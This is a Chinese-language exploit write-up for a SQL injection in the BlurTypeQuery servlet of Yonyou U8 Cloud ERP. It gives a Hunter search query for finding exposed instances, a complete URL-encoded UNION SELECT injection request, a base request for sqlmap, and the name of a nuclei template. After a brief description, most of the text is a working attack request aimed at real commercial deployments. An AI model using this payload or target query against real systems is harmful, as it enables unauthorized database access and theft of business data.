用友U8 Cloud BlurTypeQuery 存在SQL注入
一、漏洞简介
用友U8 Cloud是用友公司推出的企业上云数字化平台，为成长型和创新型企业提供全面的云ERP解决方案。然而，该平台中存在一个安全漏洞，涉及BlurTypeQuery接口对用户输入参数缺乏有效过滤，可能导致SQL注入攻击。攻击者可通过此漏洞未经授权地访问数据库，造成潜在的信息泄露风险。建议尽快修复漏洞，强化输入验证，提升系统安全性。
二、影响版本
- 用友U8 Cloud
三、资产测绘
- hunter
app.name="用友 U8 Cloud"
- 登录页面
四、漏洞复现
GET /servlet/~iufo/nc.itf.iufo.mobilereport.data.BlurTypeQuery?queryKey=1%27%29%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCHAR%28113%29%2BCHAR%28120%29%2BCHAR%28112%29%2BCHAR%28118%29%2BCHAR%28113%29%2BISNULL%28CAST%28111%2A111%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28106%29%2BCHAR%28120%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL--%20HoaZ HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=42951667C70BD37103E4A706BB56ED41.server
Upgrade-Insecure-Requests: 1
sqlmap
GET /servlet/~iufo/nc.itf.iufo.mobilereport.data.BlurTypeQuery?queryKey=1 HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=42951667C70BD37103E4A706BB56ED41.server
Upgrade-Insecure-Requests: 1
nuclei脚本
用友-U8C-Cloud-BlurTypeQuery-sql注入.yaml